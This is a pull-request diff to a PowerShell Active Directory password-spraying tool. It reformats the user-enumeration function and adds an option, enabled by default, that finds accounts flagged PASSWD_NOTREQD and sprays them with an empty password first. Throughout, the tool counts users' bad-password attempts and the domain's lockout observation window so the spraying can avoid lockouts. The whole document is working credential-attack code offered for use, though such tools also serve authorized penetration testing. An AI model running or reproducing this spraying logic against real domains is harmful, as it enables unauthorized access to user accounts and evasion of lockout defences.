Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
97 changes: 53 additions & 44 deletions private/Get-DomainUserList.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -9,63 +9,64 @@ function Get-DomainUserList {
.PARAMETER DomainName
Optional. The domain to spray against.
.PARAMETER RemoveDisabled
Optional. Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv))
Optional. Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv))
.PARAMETER RemovePotentialLockouts
Optional. Removes accounts within 1 attempt of locking out.
.PARAMETER Filter
Optional. Custom LDAP filter for users, e.g. "(description=*admin*)". Thanks to @egypt

.EXAMPLE
C:\PS> Get-DomainUserList
Description
-----------
This command will gather a userlist from the current domain including all samAccountType "805306368".

.EXAMPLE
C:\PS> Get-DomainUserList -DomainName domainname.net -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
Description
-----------
This command will gather a userlist from the domain "domainname.net" including any accounts that are not disabled and are not close to locking out.
This command will gather a userlist from the domain "domainname.net" including any accounts that are not disabled and are not close to locking out.
It will write them to a file at "userlist.txt"

#>
[CmdletBinding()]
param(
[Parameter(Position = 0, Mandatory = $false)]
param(
[Parameter(Position = 0, Mandatory = $false)]
[Alias('Domain')]
[string]$DomainName = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).Name,
[Parameter(Position = 1, Mandatory = $false)]
[switch]$RemoveDisabled,
[Parameter(Position = 2, Mandatory = $false)]
[switch]$RemovePotentialLockouts,
[string]$DomainName = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).Name,

[Parameter(Position = 1, Mandatory = $false)]
[switch]$RemoveDisabled,

[Parameter(Position = 2, Mandatory = $false)]
[switch]$RemovePotentialLockouts,

[Parameter(Position = 3, Mandatory = $false)]
[int]$SmallestLockoutThreshold,

[Parameter(Position = 4, Mandatory = $false)]
[string]$Filter
)
)


try {
try {
# Using domain specified with -DomainName option
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$DomainName)
$DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain", $DomainName)
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
$CurrentPdc = "LDAP://$($DomainObject.PdcRoleOwner.Name)"
} catch {
}
catch {
Write-Error '[*] Could not connect to the domain. Try again specifying the domain name with the -DomainName option'
break
}
}


# Setting the current domain's account lockout threshold
$DomainPolicy = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)"
# Setting the current domain's account lockout threshold
$DomainPolicy = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)"

# Get account lockout observation window to avoid running more than 1 password spray per observation window.
[int]$ObservationWindow = $DomainPolicy.ConvertLargeIntegerToInt64($DomainPolicy.lockOutObservationWindow.value)/-600000000
[int]$ObservationWindow = $DomainPolicy.ConvertLargeIntegerToInt64($DomainPolicy.lockOutObservationWindow.value) / -600000000

$DirEntry = [ADSI]$CurrentPdc
$UserSearcher = [adsisearcher]$DirEntry

Expand All @@ -80,12 +81,14 @@ function Get-DomainUserList {
# LDAP 1.2.840.113556.1.4.804 means bitwise OR
# uac 0x2 is ACCOUNTDISABLE
# uac 0x10 is LOCKOUT
# uac 0x20 is PASSWD_NOTREQD
# See http://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/. Thanks @egypt
# lockoutTime>=1 corresponds to accounts that are locked out already
# accountExpires>=$Now corresponds to accounts that are set to expire sometime in the future
# accountExpires=0 corresponds to an account that is set to never expire
$UserSearcher.Filter = "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.804:=18)(!lockoutTime>=1)(|(accountExpires>=$Now)(accountExpires=0))$Filter)"
} else {
}
else {
$UserSearcher.Filter = "(&(objectCategory=person)(objectClass=user)(|(accountExpires>=$Now)(accountExpires=0))$Filter)"
}

Expand All @@ -95,56 +98,62 @@ function Get-DomainUserList {
Write-Verbose "[*] There were $($AllUserObjects.count) users returned after filtering out disabled, locked out, and expired accounts"
[System.Collections.ArrayList]$UserListArray = @()
$RemovedUserCount = 0

if ($RemovePotentialLockouts) {

$CurrentTime = Get-Date
foreach ($User in $AllUserObjects) {
$BadCount = $null
# Getting bad password counts and lst bad password time for each user
try {
$BadCount = $User.Properties.badpwdcount[0]
} catch {}

}
catch {}

$SamAccountName = $User.Properties.samaccountname[0]

try {
$BadPasswordTime = $User.Properties.badpasswordtime[0]
$LastBadPwd = [datetime]::FromFileTime($BadPasswordTime)
} catch {}

}
catch {}

$TimeDifference = ($CurrentTime - $LastBadPwd).TotalMinutes

if ($BadCount) {
$AttemptsUntilLockout = $SmallestLockoutThreshold - $BadCount

$AttemptsUntilLockout = $SmallestLockoutThreshold - $BadCount

# if there is no lockout threshold (ie, threshold = 0)
# if there is more than 1 attempt left before a user locks out
# if there is more than 1 attempt left before a user locks out
# or if the time since the last failed login is greater than the domain observation window add user to spray list
if ($SmallestLockoutThreshold -eq 0 -or $AttemptsUntilLockout -gt 1 -or $TimeDifference -gt $ObservationWindow) {
$UserListArray.Add($SamAccountName) > $null
} else {
}
else {
$RemovedUserCount++
}

} elseif ($BadCount -eq 0) {
}
elseif ($BadCount -eq 0) {
# if they get here, it means BadCount = 0, no worries about locking out the account, so we add it
$UserListArray.Add($SamAccountName) > $null
} elseif (-not $User.Properties.badpwdcount) {
}
elseif (-not $User.Properties.badpwdcount) {
# if we get here, it means the account doesn't log bad passwords, so add it
$UserListArray.Add($SamAccountName) > $null
}
}
Write-Verbose "[*] Removed $RemovedUserCount users from spray list due to being within 1 attempt of locking out and having its last bad logon within the domain observation window of $ObservationWindow minutes"
} else {

}
else {

foreach ($User in $AllUserObjects) {
$SamAccountName = $User.Properties.samaccountname[0]
$UserListArray.Add($SamAccountName) > $null
}
}

Write-Verbose "[*] Created a final userlist containing $($UserListArray.count) users gathered from the current user's domain"
$UserListArray

Expand Down
36 changes: 35 additions & 1 deletion public/Invoke-DomainPasswordSpray.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -77,7 +77,15 @@ function Invoke-DomainPasswordSpray {
Mandatory = $false,
HelpMessage = "Optional switch that allows you to specify the use of NTLM negotiate auth rather than use default Kerberos pre-auth."
)]
[switch]$Ntlm
[switch]$Ntlm,

[Parameter(
Position = 5,
Mandatory = $false,
HelpMessage = """Optional switch that allows you to specify whether to search for AD accounts with attribute PASSWD_NOTREQD and automatically
spray them with an empty string. Default is true."""
)]
[bool]$EmptyPassword = $true
)

$StartTime = Get-Date
Expand Down Expand Up @@ -105,10 +113,20 @@ function Invoke-DomainPasswordSpray {
Write-Verbose '[*] Attempting to generate the list of users in the domain...'
if ($LockoutThreshold -eq 0) {
$AutoGeneratedUserList = Get-DomainUserList -RemoveDisabled -SmallestLockoutThreshold $LockoutThreshold -DomainName $DomainName

if ($EmptyPassword) {
$PASSWD_NOTREQD_UserList = Get-DomainUserList -RemoveDisabled -SmallestLockoutThreshold $LockoutThreshold -DomainName $DomainName \
-Filter "(userAccountControl:1.2.840.113556.1.4.804:=32)"
}
}
else {
$AutoGeneratedUserList = Get-DomainUserList -RemoveDisabled -RemovePotentialLockouts -SmallestLockoutThreshold $LockoutThreshold -DomainName $DomainName
Write-Verbose "[*] The smallest lockout threshold discovered in the domain is $LockoutThreshold login attempts."

if ($EmptyPassword) {
$PASSWD_NOTREQD_UserList = Get-DomainUserList -RemoveDisabled -RemovePotentialLockouts -SmallestLockoutThreshold $LockoutThreshold \
-DomainName $DomainName -Filter "(userAccountControl:1.2.840.113556.1.4.804:=32)"
}
}

if ($null -ne $UserName) {
Expand Down Expand Up @@ -157,6 +175,11 @@ function Invoke-DomainPasswordSpray {
# instruct the Kerberos client to use opportunistic preauth
$KerbClient.AuthenticationOptions = 'PreAuthenticate'

if ($EmptyPassword -and ($null -ne $PASSWD_NOTREQD_UserList -and $PASSWD_NOTREQD_UserList.count -gt 0)) {
Write-Verbose "[*] Identified $($PASSWD_NOTREQD_UserList.count) accounts with ability to not set a password. Spraying those with empty string first."
$Password[0] = ""
}

foreach ($PasswordItem in $Password) {

$PasswordStartTime = Get-Date
Expand All @@ -170,6 +193,12 @@ function Invoke-DomainPasswordSpray {
$InvokeParallelParams = @{ Quiet = $true }
}

# sub in special user list just for empty passwords
if ($PasswordItem -eq "") {
$OrigUserName = $UserName
$UserName = $PASSWD_NOTREQD_UserList
}

$UserName | Invoke-Parallel -ImportVariables -Throttle 10 -Verbose:$false @InvokeParallelParams -ScriptBlock {

if ($Ntlm) {
Expand Down Expand Up @@ -220,6 +249,11 @@ function Invoke-DomainPasswordSpray {
Invoke-Countdown -Seconds (60 * $ObservationWindow) -Message "Spraying users on domain $DomainName" -Subtext "[*] $CurrentPasswordIndex of $($Password.count) passwords complete. Pausing to avoid account lockout"
}

# restore original user list not used for empty passwords
if ($PasswordItem -eq "") {
$UserName = $OrigUserName
}

}


Expand Down